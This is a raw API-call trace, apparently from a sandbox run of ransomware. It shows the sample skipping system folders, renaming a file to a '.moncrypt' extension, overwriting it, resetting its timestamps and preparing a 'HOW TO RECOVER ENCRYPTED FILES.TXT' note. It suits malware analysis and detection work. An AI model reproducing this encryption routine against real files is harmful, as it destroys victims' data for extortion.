dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="儔R䱠@뾴R企@\x18?T\x18y")) returned 0xffffffff [0052.595] GetLastError () returned 0x2 [0052.595] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\", cchLength=0x40 | out: lpsz="c:\\program files\\common files\\microsoft shared\\themes14\\profile\\") returned 0x40 [0052.595] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a350, cbMultiByte=7, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="oracle\\T ") returned 7 [0052.595] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=7, lpWideCharStr=0x18da8c, cchWideChar=2047 | out: lpWideCharStr="Archiveft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 7 [0052.595] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\Archive", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a3a8, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="儔R䱠@塤U企@\x18?T\x18\x81")) returned 0xffffffff [0052.595] GetLastError () returned 0x2 [0052.595] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\", cchLength=0x40 | out: lpsz="c:\\program files\\common files\\microsoft shared\\themes14\\profile\\") returned 0x40 [0052.595] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a350, cbMultiByte=7, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="archiveT ") returned 7 [0052.595] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=6, lpWideCharStr=0x18da8c, cchWideChar=2047 | out: lpWideCharStr="Backupeft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 6 [0052.595] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\Backup", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a3a8, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="儔R䱠@Q企@\x18?T\x18\x88")) returned 0xffffffff [0052.596] GetLastError () returned 0x2 [0052.596] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\", cchLength=0x40 | out: lpsz="c:\\program files\\common files\\microsoft shared\\themes14\\profile\\") returned 0x40 [0052.596] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a350, cbMultiByte=6, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="backup?T ") returned 6 [0052.596] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=6, lpWideCharStr=0x18da8c, cchWideChar=2047 | out: lpWideCharStr="Reserveft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 6 [0052.596] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\Reserv", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a3a8, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="儔R䱠@뾴R企@\x18?T\x18\x8f")) returned 0xffffffff [0052.596] GetLastError () returned 0x2 [0052.596] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\", cchLength=0x40 | out: lpsz="c:\\program files\\common files\\microsoft shared\\themes14\\profile\\") returned 0x40 [0052.596] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a350, cbMultiByte=6, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="reserv?T ") returned 6 [0052.596] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=7, lpWideCharStr=0x18da8c, cchWideChar=2047 | out: lpWideCharStr="Restoreft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 7 [0052.597] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\Restore", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a3a8, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="儔R䱠@塤U企@\x18?T\x18\x97")) returned 0xffffffff [0052.597] GetLastError () returned 0x2 [0052.597] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\", cchLength=0x40 | out: lpsz="c:\\program files\\common files\\microsoft shared\\themes14\\profile\\") returned 0x40 [0052.597] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a350, cbMultiByte=7, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="restoreT ") returned 7 [0052.597] GlobalLock (hMem=0x440004) returned 0x550170 [0052.597] GlobalHandle (pMem=0x550170) returned 0x440004 [0052.597] GlobalUnlock (hMem=0x440004) returned 0 [0052.597] GlobalLock (hMem=0x440004) returned 0x550170 [0052.597] GlobalLock (hMem=0x44000c) returned 0x555b78 [0052.597] GlobalHandle (pMem=0x550170) returned 0x440004 [0052.597] GlobalUnlock (hMem=0x440004) returned 0 [0052.597] GlobalHandle (pMem=0x555b78) returned 0x44000c [0052.597] GlobalUnlock (hMem=0x44000c) returned 0 [0052.597] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\", cchLength=0x40 | out: lpsz="c:\\program files\\common files\\microsoft shared\\themes14\\profile\\") returned 0x40 [0052.597] GetEnvironmentVariableA (in: lpName="ALLUSERSPROFILE", lpBuffer=0x18e63c, nSize=0x400 | out: lpBuffer="C:\\ProgramData") returned 0xe [0052.597] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e5a748, cbMultiByte=15, lpWideCharStr=0x18da3c, cchWideChar=2047 | out: lpWideCharStr="c:\\programdata\\") returned 15 [0052.598] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\", cchLength=0x40 | out: lpsz="c:\\program files\\common files\\microsoft shared\\themes14\\profile\\") returned 0x40 [0052.598] GetEnvironmentVariableA (in: lpName="APPDATA", lpBuffer=0x18e63c, nSize=0x400 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming") returned 0x2d [0052.598] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1ddb5e8, cbMultiByte=46, lpWideCharStr=0x18da3c, cchWideChar=2047 | out: lpWideCharStr="c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 46 [0052.598] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\", cchLength=0x40 | out: lpsz="c:\\program files\\common files\\microsoft shared\\themes14\\profile\\") returned 0x40 [0052.598] GetEnvironmentVariableA (in: lpName="ProgramData", lpBuffer=0x18e63c, nSize=0x400 | out: lpBuffer="C:\\ProgramData") returned 0xe [0052.598] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e5a788, cbMultiByte=15, lpWideCharStr=0x18da3c, cchWideChar=2047 | out: lpWideCharStr="c:\\programdata\\jn0js halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 15 [0052.598] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\", cchLength=0x40 | out: lpsz="c:\\program files\\common files\\microsoft shared\\themes14\\profile\\") returned 0x40 [0052.598] GetEnvironmentVariableA (in: lpName="WINDIR", lpBuffer=0x18e63c, nSize=0x400 | out: lpBuffer="C:\\Windows") returned 0xa [0052.598] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a3c8, cbMultiByte=11, lpWideCharStr=0x18da3c, cchWideChar=2047 | out: lpWideCharStr="c:\\windows\\ata\\jn0js halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 11 [0052.598] GlobalLock (hMem=0x44000c) returned 0x550170 [0052.598] GlobalHandle (pMem=0x550170) returned 0x44000c [0052.598] GlobalUnlock (hMem=0x44000c) returned 0 [0052.598] GlobalLock (hMem=0x44000c) returned 0x550170 [0052.598] GlobalLock (hMem=0x440004) returned 0x555b78 [0052.598] GlobalHandle (pMem=0x550170) returned 0x44000c [0052.598] GlobalUnlock (hMem=0x44000c) returned 0 [0052.598] GlobalHandle (pMem=0x555b78) returned 0x440004 [0052.599] GlobalUnlock (hMem=0x440004) returned 0 [0052.599] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\", cchLength=0x40 | out: lpsz="c:\\program files\\common files\\microsoft shared\\themes14\\profile\\") returned 0x40 [0052.599] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e5a788, cbMultiByte=15, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr=":\\$recycle.bin\\s halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 15 [0052.599] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\", cchLength=0x40 | out: lpsz="c:\\program files\\common files\\microsoft shared\\themes14\\profile\\") returned 0x40 [0052.599] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a350, cbMultiByte=11, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="\\all users\\bin\\s halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 11 [0052.599] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\", cchLength=0x40 | out: lpsz="c:\\program files\\common files\\microsoft shared\\themes14\\profile\\") returned 0x40 [0052.599] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a350, cbMultiByte=9, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="\\appdata\\s\\bin\\s halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 9 [0052.599] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\", cchLength=0x40 | out: lpsz="c:\\program files\\common files\\microsoft shared\\themes14\\profile\\") returned 0x40 [0052.599] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e5a788, cbMultiByte=18, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="\\application data\\alpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 18 [0052.600] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\", cchLength=0x40 | out: lpsz="c:\\program files\\common files\\microsoft shared\\themes14\\profile\\") returned 0x40 [0052.600] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e39128, cbMultiByte=28, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr=":\\system volume information\\pdata\\roaming\\eft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 28 [0052.600] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\", cchLength=0x40 | out: lpsz="c:\\program files\\common files\\microsoft shared\\themes14\\profile\\") returned 0x40 [0052.600] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a350, cbMultiByte=10, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr=":\\windows\\olume information\\pdata\\roaming\\eft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 10 [0052.600] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\", cchLength=0x40 | out: lpsz="c:\\program files\\common files\\microsoft shared\\themes14\\profile\\") returned 0x40 [0052.600] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a350, cbMultiByte=8, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr=":\\intel\\s\\olume information\\pdata\\roaming\\eft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 8 [0052.600] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\", cchLength=0x40 | out: lpsz="c:\\program files\\common files\\microsoft shared\\themes14\\profile\\") returned 0x40 [0052.600] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a350, cbMultiByte=9, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr=":\\nvidia\\\\olume information\\pdata\\roaming\\eft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 9 [0052.600] GlobalLock (hMem=0x440004) returned 0x550170 [0052.600] GlobalHandle (pMem=0x550170) returned 0x440004 [0052.600] GlobalUnlock (hMem=0x440004) returned 0 [0052.600] GlobalLock (hMem=0x440004) returned 0x550170 [0052.600] GlobalLock (hMem=0x44000c) returned 0x555b78 [0052.601] GlobalHandle (pMem=0x550170) returned 0x440004 [0052.601] GlobalUnlock (hMem=0x440004) returned 0 [0052.601] GlobalHandle (pMem=0x555b78) returned 0x44000c [0052.601] GlobalUnlock (hMem=0x44000c) returned 0 [0052.601] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\*.*", lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a6f8e30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d084c30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d084c30, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x54e200 [0052.601] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a6f8e30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d084c30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d084c30, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0052.601] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5a6f8e30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x53b, dwReserved0=0x0, dwReserved1=0x0, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1 [0052.601] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea88 | out: lpLocalFileTime=0x18ea88) returned 1 [0052.601] FileTimeToDosDateTime (in: lpFileTime=0x18ea88, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0052.601] GlobalLock (hMem=0x44000c) returned 0x555b78 [0052.601] GlobalHandle (pMem=0x555b78) returned 0x44000c [0052.601] GlobalUnlock (hMem=0x44000c) returned 0 [0052.601] GlobalLock (hMem=0x44000c) returned 0x555b78 [0052.601] GlobalLock (hMem=0x440004) returned 0x557b88 [0052.601] GlobalHandle (pMem=0x555b78) returned 0x44000c [0052.601] GlobalUnlock (hMem=0x44000c) returned 0 [0052.601] GlobalHandle (pMem=0x557b88) returned 0x440004 [0052.601] GlobalUnlock (hMem=0x440004) returned 0 [0052.601] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0052.601] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0052.601] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0052.601] GlobalLock (hMem=0x440004) returned 0x555b78 [0052.601] GlobalHandle (pMem=0x555b78) returned 0x440004 [0052.602] GlobalUnlock (hMem=0x440004) returned 0 [0052.602] GlobalLock (hMem=0x440004) returned 0x555b78 [0052.602] GlobalLock (hMem=0x44000c) returned 0x557b88 [0052.602] GlobalHandle (pMem=0x555b78) returned 0x440004 [0052.602] GlobalUnlock (hMem=0x440004) returned 0 [0052.602] GlobalHandle (pMem=0x557b88) returned 0x44000c [0052.602] GlobalUnlock (hMem=0x44000c) returned 0 [0052.602] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0052.602] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\я" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\profile\\я"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x18c [0052.602] WriteFile (in: hFile=0x18c, lpBuffer=0x1e61d68*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x18ea30, lpOverlapped=0x0 | out: lpBuffer=0x1e61d68*, lpNumberOfBytesWritten=0x18ea30*=0x1, lpOverlapped=0x0) returned 1 [0052.603] CloseHandle (hObject=0x18c) returned 1 [0052.603] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\я" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\profile\\я")) returned 1 [0052.604] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\PROFILE.ELM", lpFindFileData=0x18e7c4 | out: lpFindFileData=0x18e7c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1a053d00, ftCreationTime.dwHighDateTime=0x1cab7f2, ftLastAccessTime.dwLowDateTime=0x6d084c30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1a053d00, ftLastWriteTime.dwHighDateTime=0x1cab7f2, nFileSizeHigh=0x0, nFileSizeLow=0xb20e, dwReserved0=0x0, dwReserved1=0x0, cFileName="PROFILE.ELM", cAlternateFileName="")) returned 0x54e240 [0052.604] FileTimeToLocalFileTime (in: lpFileTime=0x18e7d8, lpLocalFileTime=0x18e6f0 | out: lpLocalFileTime=0x18e6f0) returned 1 [0052.604] FileTimeToDosDateTime (in: lpFileTime=0x18e6f0, lpFatDate=0x18e7a6, lpFatTime=0x18e7a4 | out: lpFatDate=0x18e7a6, lpFatTime=0x18e7a4) returned 1 [0052.604] FindClose (in: hFindFile=0x54e240 | out: hFindFile=0x54e240) returned 1 [0052.604] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\PROFILE.ELM", dwFileAttributes=0x20) returned 1 [0052.611] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e699f0, cbMultiByte=9, lpWideCharStr=0x18d700, cchWideChar=2047 | out: lpWideCharStr=".moncrypt") returned 9 [0052.611] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\PROFILE.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\profile\\profile.elm"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\PROFILE.ELM.moncrypt" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\profile\\profile.elm.moncrypt")) returned 1 [0052.615] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\PROFILE.ELM.moncrypt" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\profile\\profile.elm.moncrypt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x18c [0052.615] SetFilePointer (in: hFile=0x18c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e6d0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18e6d0*=0) returned 0x0 [0052.615] SetFilePointer (in: hFile=0x18c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e6d0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18e6d0*=0) returned 0xb20e [0052.615] SetFilePointer (in: hFile=0x18c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e6d0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18e6d0*=0) returned 0x0 [0052.615] ReadFile (in: hFile=0x18c, lpBuffer=0x1dbe1a8, nNumberOfBytesToRead=0x4000, lpNumberOfBytesRead=0x18e6f4, lpOverlapped=0x0 | out: lpBuffer=0x1dbe1a8*, lpNumberOfBytesRead=0x18e6f4*=0x4000, lpOverlapped=0x0) returned 1 [0052.617] GlobalLock (hMem=0x44000c) returned 0x555b78 [0052.617] GlobalLock (hMem=0x440004) returned 0x55bb88 [0052.617] GlobalHandle (pMem=0x55bb88) returned 0x440004 [0052.617] GlobalUnlock (hMem=0x440004) returned 0 [0052.617] GlobalReAlloc (hMem=0x440004, dwBytes=0x4000, uFlags=0x2) returned 0x440004 [0052.617] GlobalLock (hMem=0x440004) returned 0x55bb88 [0052.618] GlobalHandle (pMem=0x55bb88) returned 0x440004 [0052.618] GlobalUnlock (hMem=0x440004) returned 0 [0052.618] GlobalReAlloc (hMem=0x440004, dwBytes=0x6000, uFlags=0x2) returned 0x440004 [0052.618] GlobalLock (hMem=0x440004) returned 0x55bb88 [0052.618] GlobalHandle (pMem=0x555b78) returned 0x44000c [0052.618] GlobalUnlock (hMem=0x44000c) returned 0 [0052.618] GlobalHandle (pMem=0x55bb88) returned 0x440004 [0052.618] GlobalUnlock (hMem=0x440004) returned 0 [0052.618] GlobalLock (hMem=0x440004) returned 0x555b78 [0052.618] GlobalHandle (pMem=0x555b78) returned 0x440004 [0052.618] GlobalUnlock (hMem=0x440004) returned 0 [0052.618] GlobalReAlloc (hMem=0x440004, dwBytes=0x6000, uFlags=0x2) returned 0x440004 [0052.618] GlobalLock (hMem=0x440004) returned 0x555b78 [0052.618] GlobalHandle (pMem=0x555b78) returned 0x440004 [0052.618] GlobalUnlock (hMem=0x440004) returned 0 [0052.618] ReadFile (in: hFile=0x18c, lpBuffer=0x1e39128, nNumberOfBytesToRead=0x20, lpNumberOfBytesRead=0x18e6f4, lpOverlapped=0x0 | out: lpBuffer=0x1e39128*, lpNumberOfBytesRead=0x18e6f4*=0x20, lpOverlapped=0x0) returned 1 [0052.618] SetFilePointer (in: hFile=0x18c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e6e8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18e6e8*=0) returned 0x0 [0052.618] WriteFile (in: hFile=0x18c, lpBuffer=0x1dbe1a8*, nNumberOfBytesToWrite=0x4020, lpNumberOfBytesWritten=0x18e6f0, lpOverlapped=0x0 | out: lpBuffer=0x1dbe1a8*, lpNumberOfBytesWritten=0x18e6f0*=0x4020, lpOverlapped=0x0) returned 1 [0052.618] SetFilePointer (in: hFile=0x18c, lDistanceToMove=45582, lpDistanceToMoveHigh=0x18e6e8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18e6e8*=0) returned 0xb20e [0052.618] WriteFile (in: hFile=0x18c, lpBuffer=0x1e39128*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x18e6f0, lpOverlapped=0x0 | out: lpBuffer=0x1e39128*, lpNumberOfBytesWritten=0x18e6f0*=0x20, lpOverlapped=0x0) returned 1 [0052.618] WriteFile (in: hFile=0x18c, lpBuffer=0x18e76c*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x18e6f0, lpOverlapped=0x0 | out: lpBuffer=0x18e76c*, lpNumberOfBytesWritten=0x18e6f0*=0x8, lpOverlapped=0x0) returned 1 [0052.619] WriteFile (in: hFile=0x18c, lpBuffer=0x1e61d88*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x18e6f0, lpOverlapped=0x0 | out: lpBuffer=0x1e61d88*, lpNumberOfBytesWritten=0x18e6f0*=0x1, lpOverlapped=0x0) returned 1 [0052.630] WriteFile (in: hFile=0x18c, lpBuffer=0x1dbe1c8*, nNumberOfBytesToWrite=0x9c, lpNumberOfBytesWritten=0x18e6f0, lpOverlapped=0x0 | out: lpBuffer=0x1dbe1c8*, lpNumberOfBytesWritten=0x18e6f0*=0x9c, lpOverlapped=0x0) returned 1 [0052.630] CloseHandle (hObject=0x18c) returned 1 [0052.631] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\PROFILE.ELM.moncrypt" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\profile\\profile.elm.moncrypt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x18c [0052.631] SetFileTime (hFile=0x18c, lpCreationTime=0x18e794, lpLastAccessTime=0x18e78c, lpLastWriteTime=0x18e784) returned 1 [0052.631] CloseHandle (hObject=0x18c) returned 1 [0052.631] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\PROFILE.ELM.moncrypt", dwFileAttributes=0x20) returned 1 [0052.631] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e390c8, cbMultiByte=34, lpWideCharStr=0x18da28, cchWideChar=2047 | out: lpWideCharStr="HOW TO RECOVER ENCRYPTED FILES.TXT\x06") returned 34 [0052.632] GlobalLock (hMem=0x440004) returned 0x555b78 [0052.632] GlobalHandle (pMem=0x555b78) returned 0x440004 [0052.632] GlobalUnlock (hMem=0x440004) returned 0 [0052.632] GlobalLock (hMem=0x440004) returned 0x555b78 [0052.632] GlobalLock (hMem=0x44000c) returned 0x557b88 [0052.632] GlobalHandle (pMem=0x555b78) 